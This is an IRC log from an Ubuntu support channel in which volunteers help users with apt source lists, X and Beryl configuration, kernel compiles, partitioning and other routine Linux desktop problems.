male-cious1ermm what happened my screen07:15
male-cious1flashed07:15
mataks_jgedeon, with this problem i even can't download xmms using apt-get install xmms07:15
Ajmorrisyeah it is trying to use beryl07:15
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male-cious1im using xserver07:15
male-cious1atm07:15
male-cious1i need to log out07:15
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male-cious1of this session to use XGL07:15
MooseIs there a command to see all directories on all partitions? Also the size of the partition?07:15
male-cious1and i explained it not properly working07:16
jgedeonemss: Wow you are onto something the how directory is gone.07:16
mataks_jgedeon, and with the same error says: W: Couldn't make stat source package list blah blah blah.. :(07:16
emssjgedeon: ?07:16
bur[n] ercorevette, define "safe"07:16
jgedeonthe debian-marillat/ is not hosted there anymore.07:16
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bur[n] ercorevette, you can use the ubuntu livecd, mount your installation, and fix it07:16
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corevettebur[n] er i don't want to lose any information07:16
jgedeonftp://ftp.nerim.net/07:17
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corevettebur[n] er realy? how would i fix it07:17
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corevettebur[n] er what commands07:17
bur[n] ercorevette, what's hte error?07:17
bur[n] erheh07:17
MooseIs there a command to see all directories on all partitions? Also the size of the partition?07:17
twistiesCan anyone explain why my teamspeak microphone output has a loud buzzing?07:17
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lotacusdir --help ?07:17
bur[n] erMoose, baobab...   or "df -h" to see the drive sizes07:17
corevettebur[n] er well it just stops loading after a while....recovery mode or not07:17
MooseThanks bur[n] er07:17
bur[n] erTwinxor, cause you're an ar-tard07:18
bur[n] ercorevette, try booting a livecd and looking at your data07:18
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bur[n] ercorevette, then see if you can chroot into it07:18
emssmataks_: I suggest maybe removing the be. from the repositories and just leaving http://archive.ubuntu.com/ubuntu etc.07:18
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jgedeonmataks_: Looks like you should comment out ftp://ftp.nerim.net/* entery that is in your source list.07:18
WJif users A and B connect to wfi AP X, which uses WPA2 or WEP, can user B capture data from A and decrypt it easily?07:18
bur[n] ercorevette, you try all your different kernels?  maybe an older one works?07:18
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corevettedifferent kernels...07:19
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corevettei'm beginner/intermediate with linux bur[n] er07:19
twistiesHi, im using a 386 kernel on an amd64 proccy and im kinda new to this linux game ;) Can anyone talk me through upgrading to a 64 kernel?07:19
emssmataks_: have you run aptitude update, or apt-get update?07:19
lotacusanyone know how to get adobe flash 9 installed correctly in 64bit?07:20
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bur[n] ercorevette, in that case, just get your important stuff off the hard drive to some other storage media, then reinstall and replace all your data ;)  might be easier07:20
corevetteok07:20
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jack_anyone know how to fix the music player thing on myspace for ubuntu it plays the music.. usually.. but doesnt show the song info07:21
bur[n] erjack_, get flash 907:21
jack_k07:21
MooseAlright so I have two containers on my server, with one partition on each.. How can I access the partition that the OS is not installed on?07:21
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sutabiif I edit my .bashrc how do I apply what I added?07:22
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mataks_help pls.07:23
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emsssutabi: source .bashrc07:23
jgedeonI'm running mataks_'s source list now.07:23
mneptoksutabi: new session or x session07:23
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jgedeonBoy are some of the servers out there slow tonight.07:24
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LurnerI just installed the samba control applet and I need to configure it.. but it tells me I must be logged in as root..07:24
Lurnerso I tried to switch users to log in as    root   but the system told me the system admin can't log in at this screen07:25
Lurnerhow do I run as the admin in X07:25
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mataks_jgedeon, can you help me now.. i got dc.. errr07:26
supermanHey guys?07:26
supermanHEY GUYS07:26
jgedeonmataks_: I'm doing some testing with your sourcelist to see some things.07:27
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ssjgolleta_how do you add a user to the sudo group from command line?07:28
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jgedeonmataks_: so far there are two errors with domains or server.07:28
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supermanHEY GUYS07:29
phrowzenhey07:29
supermanANSWER ME07:29
ssjgolleta_hey07:29
supermanHEY YOU07:29
supermanYEAH YOU07:29
supermanHi07:29
ssjgolleta_what?07:29
mataks_jgedeon, ok then how can i run the update successfully?07:29
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supermanWhat's 2 subtracted from 5?07:30
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phrowzendoes anyone know why when my system boots, i get the normal rumble sound as the login prompt comes up. but when i login, i dont get the startup noise anymore? xmms is playing my mp3s ok.. gmplayer is complaining about some stuff.. and alsamixer says  alsamixer: function snd_ctl_open failed for default: No such device -- whats up?07:30
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joe-brbadaptr: You still here?07:30
supermanGUYS07:30
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supermanWHAT'S 2 SUBTRACTED FROM 5?07:30
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ssjgolleta_why are you asking that07:31
mneptoksuperman: please stop07:31
phrowzenanyone?07:31
supermanOUR LIVES DEPEND ON IT07:31
supermanJUST ANSWER ME NOW!07:31
LurnerI just installed the samba control applet and I need to configure it.. but it tells me I must be logged in as root..07:31
Lurnerso I tried to switch users to log in as    root   but the system told me the system admin can't log in at this screen07:31
Lurnerhow do I run as the admin in X07:31
superman:(07:31
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bur[n] erphrowzen, check your "system -> prefs -> sound"  "sounds" tab07:32
phrowzenya i have07:32
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supermanHey guys.07:32
supermanI have a question.07:32
emssssjgolleta_: edit /etc/group07:32
jgedeonmataks_: if you remove the be.  from where it's listed and comment out the ftp://ftp* and the mirrormax server you will be fine.07:32
phrowzenbur[n] er, login set to login, logout set to logout.. i hit the play button beside it and nothing happens07:32
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supermanI SAID I HAVE A QUESTION07:32
bur[n] erphrowzen, reset the audio files?  I dunno07:32
mataks_jgedeon, ok i'll try07:32
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phrowzenbur[n] er, what do you mean reset audio files07:32
bur[n] er!ops07:33
ubotuHelp! Mez, LjL, elkbuntu, imbrandon, DBO, gnomefreak, Hobbsee, rob, ompaul, Madpilot, Burgundavia, Seveas, CarlK, crimsun, ajmitch, tritium, Nalioth, thoreauputic, apokryphos or tonyyarusso07:33
mneptokbur[n] er: ?07:33
Madpilot??07:33
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mataks_jgedeon, all the be? with a the dot? like "be."07:33
bur[n] eroh right... just wanted to point to superman, but see that mneptok already was on top of things07:33
n2diysuperman, all you have is an attitude.07:33
jgedeonmataks_: yes the lines that are not commented out remove the be. from the line.07:33
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emssssjgolleta_: vigr and add the user to group "admin", on command line type: man 5 group, to learn more07:34
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jgedeonHmmm.. Can't paste in pastebin..  Says that java isn't enabled.07:34
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n2diymneptok: oh well.07:34
mataks_jgedeon, ok done.. just for the not commented ayt?07:34
ssjgolleta_thx07:34
emssjgedeon: I mentioned to do that a while ago :)07:34
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jgedeonemss: yes I seen that.07:35
jgedeonNow what about the other two servers mataks_?07:35
emss!openoffice07:35
ubotua free and open source office suite, including word processor, spreadsheet, presentation, vector drawing and database components.  To install: "sudo apt-get install openoffice.org". User help available in #users.openoffice.org07:35
mataks_jgedeon, which server?07:35
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emssis there openoffice 2.1 available for edgy?07:35
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jgedeonmataks_: comment out deb http://ubuntu-backports.mirrormax.net/ breezy-extras main  and  deb ftp://ftp.nerim.net/debian-marillat/ etch main  Both are bad.07:36
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mataks_jgedeon, ok thnx.. :) im trying to udpate it now.. let's see if the error is still there07:37
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pebblestonewhen I do "fakeroot dpkg-buildpackage -uc -us" I got an error "/bin/bash: dh_testdir: command not found". and there seems no package named "build-dep" in Ubuntu. What should I install for me to build debian packages?07:37
jgedeonNo problem.  You do have some that you might want to enable in there.07:37
aliasdheyas, i need to change a control file in a debian package to support a change in dependency, whats the easiest way to do this?07:37
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pebblestoneI'm using Ubuntu Edgy Server version07:38
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eternalswdI'm having a strange problem.  I built the latest amarok stable because I wanted --disable-amazon  I'm on gnome and it runs fine if I start it from gnome-terminal.  I cd to where I put it /opt/amarok/bin.  and then run ./amarokapp  It works beautifully.  I tried to make a launch icon and set it to run /opt/amarok/bin/amarokapp but when I start amarok this way, lib-xine fails to load07:38
mataks_jgedeon, like what?07:38
mzuverinkMy notebook has an intel i915 vid card, and I have been reading about beryl and compiz.  Does anyone have any tips to installing either and or any recommendations of one over the other?07:38
jgedeonmataks_: restricted and multiverse07:39
yoshiznit123!shout | superman07:39
ubotusuperman: PLEASE DON'T SHOUT! We can read lowercase too.07:39
mataks_jgedeon, ok07:39
maltanyone here use tor with ubuntu?07:40
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jgedeonmzuverink: my tip is you will get bored with it pretty quick..  I know I did.07:40
noiesmomzuverink, check this page you should find a howto http://wiki.beryl-project.org/wiki/Main_Page07:40
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mneptoketernalswd: an easy workaround would be to create a shell script that cd's to /opt/amarok/bin and then calls amarokapp07:40
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mzuverinkjgedeon, thanks07:41
mzuverinknoiesmo, reading it now07:41
mneptoketernalswd: (pointing the launcher to the script)07:41
aliasdhow do i rebuild a deb if all i have to begin with is the deb? if i use ar to extract and replace the files, dpkg doesnt recognise it anymore?!07:41
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jgedeonmataks_: Is it running clean now?07:41
eternalswdmneptok,  I already tried that and put the script at /opt/amarok/bin/amarokstart and called that with the same result.07:41
ijbgreenanybody can help me07:41
ijbgreenwhy the error appears extension "GLX" missing on display ":0.0".07:42
jgedeonijbgreen: just post what you need help with.07:42
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cableroy_hi, i have beryl in gnome-session but i have some problems with it now so i can't disable it because X wont load correctly, how can i stop it from starting?07:42
mataks_jgedeon, not yet.. still updating . . the connection is bad07:42
jgedeonUGH more beryl problems.07:42
eternalswdmneptok, that's why I am confused and in need of assistance07:42
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jgedeonmataks_: Oh ok..  you might have to run twice..  I did when I recopied my normal list.07:43
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cableroy_jgedeon well its not beryl i think, but i choose COW compiz and now its screwed so i need to get back to metacity07:43
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eiftoehello07:43
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emsscableroy_: x won't start correctly?07:44
eiftoehow do i change mine graphical size from my root? cause it says "out of range" when iam trying to login into my X07:44
cableroy_i just need to know where gnome puts the gnome-session07:44
jgedeoncableroy_: I wasn't trying to really point anything.  Just been seeing alot of people having problems with the two.07:44
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cableroy_ya, i just tried it to have tried it...07:44
mataks_jgedeon, ok thnx a lot hope this will fix the problem.. there's one thing..  about this error "Err http://security.ubuntu.com breezy-security/main Packages Sub-process gzip returned an error code (1)" how to fix this one also?07:44
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ijbgreenwen i try to execute quake3 the console shows the error07:45
eiftoehow do i change mine graphical size from my root? cause it says "out of range" when iam trying to login into my X07:45
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jgedeonmataks_: try running update a second time it might clear it.07:45
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mataks_jgedeon, ok07:45
ijbgreenin my xorg.conf is configured whit LOAD glx and dri07:45
emsscableroy_: ~/.gnome2/session ?07:45
jgedeoneiftoe: did you change monitors lately?07:45
emsscableroy_: but why does X not work correctly, no window manager?07:45
eiftoeno jgedeon, i just installed ubuntu07:46
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eiftoebut i dont know ect how to change from 1600x1200 to 800x60007:46
jgedeoneiftoe: are you running a CRT monitor or a flat panel?07:46
cableroy_emss i'll check again07:46
eiftoeCRT07:46
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ijbgreenhelp me07:46
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ijbgreenplease07:46
jgedeoneiftoe: what model and make of CRT?07:46
ciscosurferHola!07:47
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eiftoe"Compaq" Trinitron P110007:47
eiftoejgedeon: does it says anything>07:47
jgedeoneiftoe: ok BRB going to see if I can find your monitor specs so we can see if your xorg.conf has them set right.07:47
eiftoethx jgedeon07:47
ssjgolleta_i had the smae problem ijbgreen, i upgraded from 6.06 to  6.10 and i could not get direct 3d to work ever07:48
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ssjgolleta_so wiped my puter and installed 6.10 from scratch07:48
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ssjgolleta_worked like a charm right after install07:48
cableroy_emss yes, and i get this error I've detected a panel already running. and will now exit07:49
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jgedeoneiftoe: can you nano /etc/X11/xorg.conf07:49
ijbgreenrealy?07:49
eternalswdmneptok, ok, I figured it out.  I had to uninstall amarok from synaptic because it was trying to load /usr/lib/kde3/amarok_xine-engine.so rather than /opt/amarok/lib/kde3/amarok_xine-engine.so07:49
emsscableroy_: ah easy07:49
eiftoeok jgedeon , could you read my pm?07:49
emsscableroy_: go into console and type: pkill gnome-terminal07:49
eiftoecause i have to write down things on a paper07:49
jgedeoneiftoe: no I didn't get it.  Is your nick registered?07:49
emssemss: leave gnome running just use Ctrl+Alt+F1 etc.07:49
eiftoejgedeon: wait07:49
emssoops07:49
ijbgreenmaybe its a drive issue?07:50
emsscableroy_: leave gnome running just use Ctrl+Alt+F1 etc.07:50
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cableroy_ya emss did taht, black screen and only mouse07:50
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emsscableroy_ you typed pkill gnome-panel ?07:51
cableroy_ah, u wrote -terminal07:51
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emsscableroy_: yes, mistake :\07:51
emss:(07:51
eifzonjgedeon: does it work now?07:51
ijbgreensegmentation fault07:51
jgedeoneifzon: in your /etc/X11/xorg.conf you want to look for the section that says Section "Monitor" and then for HorizSync it should read 30-121 and for VertRefresh it should read 50-16007:51
ijbgreenis the next message07:52
cableroy_emss hehe np, but i did panel also still black07:52
eifzonjgedeon: but what should i write first? nano /etc/X11/xorg.conf ?07:52
emsscableroy_: try restarting gnome07:52
jgedeonTo edit it you would go into terminal and type sudo nano /etc/X11/xorg.conf07:53
eifzonok07:53
ciscosurferAnyone know the name of the Feisty channel?  (I'm assuming there is one...a devel channel maybe?)07:53
jgedeonThen use the arrow keys to go down to the proper section/.07:53
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jgedeonciscosurfer: somehting like #ubuntu-devel?07:54
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ciscosurferjgedeon: yeah...something like that...i thought i saw a channel for Feisty listed on the Forums...brb07:54
cableroy_emss no black screen, but onlt ubuntu's background07:54
varsendaggrhow do i play files from the itunes store with ubuntu....?07:54
emsscableroy_: no panels or anything?07:55
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varsendaggrin the wiki it says it is supported in the multiverse07:55
eifzonhow do i create a user on my ubuntu, if iam as root07:55
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cableroy_emss nope. tried alt+F2 to maybe run a command, but nothing07:55
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jgedeonYou can either use gui or cli depends what you are comfortable with.07:56
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hendrickvpcan some one tell me why I can't install the php5-imagick package?07:56
eifzonjgedeon: do you know how to create a user?07:56
emsscableroy_: open up gnome-terminal and run gnome-panel from there, maybe it will print some messages, and also see if gnome-panel is already running07:56
ciscosurferjgedeon: got it....07:56
ciscosurferjgedeon: #ubuntu+107:57
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riotkittiei have to kill gnome-panel almost everytime i log in lately07:57
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steelbMan, I messed up my ubuntu this time. I just installed the gui for hamachi, and I run it and x serv shuts down and when i try to start it from the command prompt i get the error: failed to load module "wfb" and the fatal error: cannot open '/lib/modules/2.6.17-10-generic/volatile/nvidia.ko' it doesnt exist. Any help?07:57
MrOregonhuzzah my webcam which is supposed to be windows only works with Ubuntu!!07:58
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riotkittiei wish i could get my cam to work. which reminds me, i should give compiling the driver a go again07:58
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tweekthis might be a stupid question, but since when does shift + backspace kill X?07:59
cableroy_i don't know if this is correct, but DISPLAY=0:0 gnome-terminal, switching back to gnome and the screen is black, gnome-panel is running07:59
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jgedeonSince the begining.07:59
arrenlextweek: It doesn't. That's ctrl+alt+bksp.07:59
arrenlextweek: Or isn't supposed to.07:59
riotkittietweek: i wasnt aware they did :P07:59
MrOregonyou must have hit control backspace07:59
tweekit does on mine now07:59
emsscableroy_: it's DISPLAY=:007:59
tweekever since i dropped in XGL07:59
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Maricallo all08:00
emsscableroy_: or do you have multiple screens?08:00
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emsscableroy_: well it probably doesn't matter sorry I'm not sure :(08:00
MrOregonwill xgl eventually be integrated into ubuntu?08:00
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Maricoops brb08:00
MrOregonOR will there eventually be a XGL installer for ubuntu so you don't have to go through the long process of installing XGL?08:00
tweekMrOregon: its a 3 minute process08:01
cableroy_emss ok, thanks anyway :)08:01
makuserumroregon: AIGLX on edgy is super easy08:01
cableroy_even gnome safemode does not work08:01
emsscableroy_: in console try running DISPLAY=:0 metacity08:01
tweekshift backspace should not kill x but it does for me now.08:01
MrOregonok08:01
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MrOregonsend me a link to AXGL08:01
tweekits supposed to be ctrl shift backspace08:01
MrOregonand the three minute process08:01
tweekok08:01
hendrickvpcan some one help me with an imagick problem?08:01
tweekhttp://wiki.beryl-project.org/index.php/Install/Ubuntu/Edgy/XGL08:02
pathwayquick question: does Ubuntu have a gui configuration tool for wireless networking?08:02
cableroy_emss nice, you did it :) thank you :)08:02
bur[n] erpathway, Network Manager08:02
emsscableroy_: System -> Preferences -> Sessions in gnome08:02
tweekps i found why shift backspace is a problem xmodmap -e "keycode 22 = BackSpace BackSpace Terminate_Server"08:02
emsscableroy_: I am new with gnome too08:02
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eifzonjgedeon: hi again08:02
cableroy_emss yup :)08:03
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tweekhttp://ubuntuforums.org/showthread.php?t=186714   seriously, WTF kind of feature is shift backspace being a way to kill a gui heh08:03
Maricahh, back08:03
maddashdoes anyone here have a problem with icewm's ctrl+alt+d? specifically, it fails to restore all windows after minimizing them?08:03
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jgedeoneifzon: hey there08:03
maddashthe problem seems to be ubuntu specific...08:03
eifzonjgedeon: i still got the problem08:03
Maricanyone up to answering a kernel compile question or two?08:03
hendrickvpdoes anyone here know why I can't get php5-imagick to install?08:03
jgedeoneifzon: did you restart gnome?08:04
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eifzonhow to do that? :P08:05
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Maricany one up to answering a few basic questions?08:06
mneptokMaric: like that one?08:06
hendrickvpCAN SOMEONE HELP ME WITH PHP5-IMAGICK?08:06
arrenlex!caps | hendrickvp08:06
ubotuhendrickvp: PLEASE DON'T SHOUT! We can read lowercase too.08:06
zoexi1hello, having problems installing.  I am using gparted to reduce the only partition on my harddrive (connected via usb) by 2G to make room for swap.  It has been sitting for half an hour now, and no progress, when I tried to cancel, it warned me of file system damage.  what to do?08:07
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MaricI am trying to figure out if the instrucions I followed for a kernel compile are complete or if there are additional steps08:08
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MaricI used the instructions I found on help.ubuntu.com/community/Kernel/Compile08:10
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kinjohello all please take a look at this screenshot08:10
kinjohttp://img463.imageshack.us/my.php?image=screenshothw0.png08:10
ciscosurferzoexil: use the GParted Live CD instead >> http://gparted.sourceforge.net/livecd.php08:11
Spinnakersudo apt-get install PHP5-IMAGICK08:11
Spinnaker=D08:11
ciscosurferzoexi1: use the GParted Live CD instead >> http://gparted.sourceforge.net/livecd.php08:11
riotkittiephp5-imagick isnt in the dapper repos08:11
kinjoi am trying to install wine tools...after i compiled the source...and run wt i dont get any text on the bottons...08:11
riotkittiephp4-imagick, but no 508:11
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eifzonjgedeon: heloo08:12
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hendrickvpriotkittie: so do Install php4 too then?08:12
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mataks__jgedeon, i still got the error.. :(08:12
corevettei just tried booting off the live cd...and the loading process gets stuck during the logo screen08:13
ciscosurfercorevette: the Edgy live CD??08:13
corevetteyes ciscosurfer08:13
riotkittiehendrickvp: being completely unfamiliar with php on any level, i dont know08:13
corevettehendrickvp need help with php?08:14
Maric__sorry about that needed to fix an issue with my irc client08:14
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hendrickvpcorevette: yes, very much so08:14
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ciscosurfercorevette: how long did you give it??  sometimes the video can get jumbled and look like it has stopped, when it really hasn't...additionally, sometimes you have to hit some keys or move your mouse to get the monitor back up (sometimes this happens also)08:14
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zoexi1ciscosurfer: hmm, what do you know, it finished on its own accord....   I don't have the ability to burn more cds right now, or I would try it... do you know, is there a way to move a partition?  I go to resize/move and the "free space preceeding" option is greyed out...08:15
corevetteciscosurfer i let it sit there for about 3 minutes08:15
mataks___jgedeon, i still got the error :(08:15
hendrickvpcorevette: I need some help with PHP and imagick08:15
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corevettehendrickvp i would help...but i have to fix my linux kernel right now08:15
ciscosurfercorevette: have you tried burning a new disc?08:15
kinjocould some one  please take a look at this screenshot08:15
kinjohttp://img463.imageshack.us/my.php?image=screenshothw0.png08:16
eifzonwhat can i do if i got a 'out of scan range' error when iam trying to access my X?08:16
riotkittielogo as in boot ?08:16
corevetteciscosurfer no...should i try?08:16
ciscosurferzoexil: sometimes you have to completely erase partitions to get them to move...i know, i know...08:16
corevetteciscosurfer or should i let it try to load08:16
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kinjohow do i get the text to appear on hte buttons...08:16
hendrickvpis anyone here familiar with PHP and Imagick?08:16
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ciscosurfercorevetter: I would try the disc you have again, give it some time, be patient, do the suggestions I listed above, and if that doesn't work, then try burning a new disc, checksum the disc and try loading from the new one08:17
corevettechecksum? ciscosurfer08:17
riotkittie i tried the edgy live disc, and then decided i hated myself to pop it in again. i was going to install to the hd... but08:17
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Maric__can anyone tell me if the kernel compile instructions on the ubuntu community web page is complete?08:17
ciscosurferzoexil: if you've got other partitions before the partition you are trying to move, it won't let you do that08:17
riotkittieit took at least 20 minutes from boot to desktop. hehe. even i am not that masochistic08:17
eifzonbut when i have done the apt-get install how shall i do then?>08:18
eifzonsry, wrong paste..08:18
ciscosurfercorevetter: checksum >> A method of providing information for error detection, usually calculated by summing a set of values. The checksum is usually appended to the end of the data that it is calculated from, so that data and checksum can be compared.08:18
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ciscosurfercorevette: it's a good idea to this before you boot up from the disc, however, there's also an option on the boot menu of the live disc to actually do this as well08:19
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corevetteciscosurfer and it failed to do that too08:19
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ciscosurfercorevette: from a terminal, you can enter in     md5sum <thenameofthedisc>   and then compare that sum with the md5 of the disc from whereever you downloaded it from08:19
ciscosurfercorevette: it failed to check the disc on the boot menu?08:20
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corevettelet me try what you told me to do ciscosurfer08:20
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corevetteciscosurfer i tried the 'check contents of disk option'08:20
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ciscosurfercorevette: ...if the disc check on the boot menu doesn't work, then I would suggest burning a new disc08:20
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Maric__well, I'll stop by annother time then, looks like you all are very busy08:21
ciscosurferMaric__: what's up?08:21
Maric__oh08:21
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ciscosurferMaric__: something about kernel compilation?08:21
Maric__I just want to make sure I have all my efts (read ducks) in a row08:22
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kane77how do I make a networking device default?08:22
Maric__ya I used the instructions on the community website to do this08:22
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Maric__I just want to know if there is something special I have to do for modules etc08:22
MrOregonI got XGL up and running!08:22
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tweekim still shocked that someone put a feature of Shift + backspace = kill X08:22
ciscosurferMaric__: kernel compilation can be very tricky...which thread are you referring to?08:22
tweekMrOregon:08:22
Maric__grates Mr. O08:23
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tweekMrOregon: xmodmap -e "keycode 22 = BackSpace"08:23
Maric__it is at: help.ubuntu.com/community/Kernel/Compile08:23
tweekmake sure to use that before starting X otherwise you will have lots of fun08:23
ciscosurferMaric__: okay...let me find you a thorough thread...brb08:23
Maric__that is not a good one?08:24
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tweekhow do you like XGL, i got it running last night, the beryl stuff is pretty fun though :)08:24
Maric__XGL/beryl is next on my list after kernel and wifi08:25
tweekhttp://ubuntuforums.org/showthread.php?t=18671408:25
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cheatersrealmis nvidia-glx really 'broken' ?08:25
hendrickvpFYI for you all a good newb resource for folks like my self that need imagick in 6.06 -> http://www.ducea.com/2006/12/21/install-imagemagick-557-on-debian/08:25
cheatersrealm(edgy)08:25
tweekuse that link after you use this link:L   http://wiki.beryl-project.org/index.php/Install/Ubuntu/Edgy/XGL08:25
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tweekMaric__: it will literally take you 5 minutes of interaction if that, and you will ahve it running08:26
tweekjust copy and paste and thats it08:26
Maric__nice tweek thanks08:26
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ciscosurferMaric__: go here and then on the right side look for "search this Forom", choose threads, and type in kernel...there are many, many threads that should help you out and address your questions about modules, etc. >> http://ubuntuforums.org/forumdisplay.php?f=10008:26
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tweeki installed it last night from an existing system with an old matrox card (newer upgraded nvidia i got from newegg now) and it was up and running smoothly in between getting home from work and sitting down for dinner08:27
ciscosurferMaric__: forum08:27
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Maric__thank you cisco08:27
ciscosurferMaric__: sure, any time08:28
ciscosurfer:-)08:28
Maric__I'll hit that up pretty soon08:28
riotkittieooh that reminds me. i need to find a thread on cloning between laptop and crt08:28
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Maric__is the rescource I used ok or is it not a good one?08:28
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deorypcould i ask help from someone to get a java runtime enviroment working? I installed the -plugin and ran the --config java but firefox is not linking to the plugin08:29
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tweekanyone try XGL on an intel gma based laptop?08:29
tweekdeoryp: i had this issue too, let me find the help page that i used to fix taht08:29
MaricI cant wait till I get my cert then my laptop is going on ubuntu as well08:29
krautmoin08:29
deoryptweek thanks08:29
riotkittiei cant wait until i get a new laptop ;p08:30
tweeki cant wait till march when my boss buys me a dell XPS08:30
corevettewhen i try to burn the ubuntu live cd for edgy, it stops at 86%08:30
tweekthe 12 inch thin lapto08:30
tweekhehe08:30
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tweekand ill immediatly reinstall a clean copy of XP + ubuntu08:30
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mataks_-jgedeon, i still got the error :(08:31
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eifzonmataks_-, whats wrong?08:33
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mataks_-eifzon,  i've got error when i do "sudo ap-get update" .08:33
tweekMaric: http://wiki.beryl-project.org/index.php/Install/Ubuntu/Edgy/XGL08:34
mataks_-!paste08:34
ubotupaste is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste)08:34
eifzonwhat error?08:34
tweeker maric http://ubuntuforums.org/showthread.php?t=33022208:34
tweekthere we go that link08:34
japrhello, I'm going to install ubuntu on a laptop with 2GB RAM. What size shall I assign to the swap partition?08:34
mataks_-wait i'll show you on pastebin08:34
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mataks_-eifzon, here http://paste.ubuntu-nl.org/1274/08:35
Maricthank you tweek08:35
ciscosurferjapr: do you think you'll exceed your 2GB of RAM very easily?  I would set it to maybe 256 MB or 512 MB if you feel like you'll need it08:35
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eifzonmataks_-, just write: apt-get update as it says? )08:36
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eifzonyou dont have to write "sudo" when you are as root08:37
mataks_-eifzon,  yea i just write apt-get update and the same error everytime...08:37
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japrciscosurfer I don't really know how the programs use the RAM. I do know that I bought the laptop to use celestia, a 3D Universe simulator, that uses openGL with textures >200MB08:37
mataks_-eifzon, i tried that also it's just the same error08:37
eifzonvery wierd :S08:37
Maricthe swap partition recommendation in the debian install guide said aprox 2*ram08:38
Maricbut they may be going a bit on the conservative side08:38
japrMaric, true, I knew that, but a 4GB swap partition? o_O08:38
mataks_-eifzon, what you think could be the problem?08:39
MaricI know eek08:39
jordo23un_operateur: You around?08:39
Maricleme check my books a sec08:39
ciscosurferjapr: if you've got the space on your drive, you can set it much higher if you'd like...I hardly ever hit mine (if ever) and I've got 1.5GB of RAM...i think my swap is set very high...like 2GB...i'm crazy that way :O)08:39
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eifzonmataks_-, sry i have no idea :(08:39
noobcook!paste08:39
ubotupaste is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste)08:39
noobcooklol08:40
noobcookcheck this weird 108:40
noobcookhttp://paste.ubuntu-nl.org/1275/08:40
japrAnd I would like that ubuntu used the RAM instead of the swap. Is he clever? Does he only use the swap when the RAM is full? I'm asking this because I made a test install with auto partitioning in the said laptop and I would hear the HD spinning a bit to much (at least comparing to other OSs)08:40
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ciscosurfernoobcook: can you pastebin your entire xorg.conf ??08:41
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mataks_-who's using breezy here? anyone?08:41
noobcooksure 1 sec08:41
Maricmy copy of running linux says no more than 2gb for reasons it does not go into (pg 166)08:41
ciscosurfermataks_: you should upgrade my friend08:42
noobcookciscosurfer: http://paste.ubuntu-nl.org/1276/08:42
japrok, thank you :}08:42
ciscosurfernoobcook: looking08:42
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MaricI think you might get away with 1GB with 2GB ram08:43
ciscosurferjapr: set it to at least 512 MB if you're concerned....and if you're really concerned, set it highter08:43
ciscosurferhigher08:43
mataks_-ciscosurfer, yeah i want to but i have problem updating my source.list08:43
ciscosurfermataks_: download a new ISO, burn it, use it08:43
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Maricdo kernel compiles usually take a long time to complete?08:44
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BHSPitLappy:)08:44
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BHSPitLappyMaric, hehe08:44
kinjohey can any help me please i am sure its a small problem....08:45
ciscosurfernoobcook: looks like you copied those last two lines from another resource ...if you look closely, the quote type is different from what is found in the rest of the file...replace those quotation marks with the ones just preceding it...understand?08:45
BHSPitLappyjust ask your question, as always kinjo08:45
japrI wiil, thanks. I'm really excited about GNU GPL and changing to Linux. I feel I lost 8 years of my life using proprietary software. I really believe that this philosohy of community and cooperation has the potential to change the world.08:45
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ciscosurferMaric: depends on how fast your computer is :o)08:45
noobcookciscosurfer: wow nice pickup thanks08:45
Saturisationhello all, what's the proper way to set up a network between to UBUNTU pc's (it seems to be rare...)08:45
Maricall08:45
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kinjoBHSPitLappy, asked it like 5 times before...08:45
ciscosurfernoobcook: sure08:45
Maricwhat is the question kinfo?08:45
Maricer kinjo I mean08:46
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kinjoi am not able to see the text on the buttons...08:46
ciscosurferkinjo: no need to compile Wine from source...just download the .deb for everything08:46
kinjono winetools...08:46
Dionysos22anyone have a synaptics touchpad that can tell me how to get it set up?08:47
ciscosurferkinjo: what's the link where you found winetools08:47
kinjo1 sec ill give ..08:47
Maricthat one is beyond me atm kinjo srry08:47
kinjohttp://download.formationos.net/winetools/winetools-0.9.4.tar.gz08:47
Saturisation!network08:47
ubotuWireless documentation can be found at https://help.ubuntu.com/community/WifiDocs08:47
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kinjociscosurfer, http://download.formationos.net/winetools/winetools-0.9.4.tar.gz08:48
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ciscosurferDionysos22: try this >> http://ubuntuforums.org/showthread.php?t=31497908:49
noobcookciscosurfer: im gona reboot i wonder if itl work08:49
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ciscosurfernoobcook: hope for the best!!08:49
asdf_hai08:49
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kinjociscosurfer, hey what am i missing? some fonts???08:50
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japr!dualcore08:51
ubotuSorry, I don't know anything about dualcore - try searching on http://bots.ubuntulinux.nl/factoids.cgi08:51
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riotkittiearrrgh.08:51
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nexacthello all, id like to know how I can reload inetd after I've added tftpd... ? thanks08:51
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dromerhi all, I'd like to try Beryl on my dapper install, but the wiki of Beryl says it's unsupported. Can I get some pointers on haw to compile/install ?08:51
ciscosurferkinjo: looks that way08:52
ciscosurferi'm assuming you used Alien to convert it, no?08:52
ciscosurferwait08:52
ciscosurferhold08:52
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japr!doc08:53
ubotudocumentation is to be found at http://help.ubuntu.com and http://wiki.ubuntu.com - General linux documentation: http://www.tldp.org - http://rute.2038bug.com08:53
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ciscosurferkinjo: go here, download the version you want, use Alien to covert it and you should be good08:53
mataks_-need help.. when i try to do "sudo apt-get update" i got this error.. "E: Could not get lock /var/lib/apt/lists/lock - open (11 Resource temporarily unavailable)" why is that? help pls.08:53
ciscosurferhttp://www.von-thadden.de/Joachim/WineTools/08:53
ciscosurferkinjo: http://www.von-thadden.de/Joachim/WineTools/08:53
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noobcookciscosurfer: the good news is it didn't stuff up, the bad news is it didn't work08:54
ciscosurfermataks_-: you've got synaptic or another window with apt open already, close other windows and try again08:54
kinjociscosurfer, is there a deb file for it?08:54
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mataks_-ciscosurfer, no i don't have08:54
ciscosurferkinjo: the app Alien will convert .rpm to .deb08:54
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kinjociscosurfer, i have installed msttcorefonts08:54
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ciscosurfernoobcook: try this line to reconfigure xorg.conf >> sudo dpkg-reconfigure -phigh xserver-xorg08:55
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japrI've already read several guides and how-tos, the kind that makes things work by inserting commands, etc, but I would like to get to know the inside of linux. Is there any online doc / book that you'd recommend?08:55
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dromer!beryl08:55
ubotuBeryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-xgl08:55
ciscosurferkinjo: try my method with converting the .rpm and then report back08:55
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kinjociscosurfer, hey i am complete newbie....08:56
Maricjaspr I am using linux in a nutshell by oreily - it is really handy08:56
corevetteok i need help08:56
ciscosurfermataks_-: I think it's time to download a fresh ISO of Dapper of Edgy :o)08:56
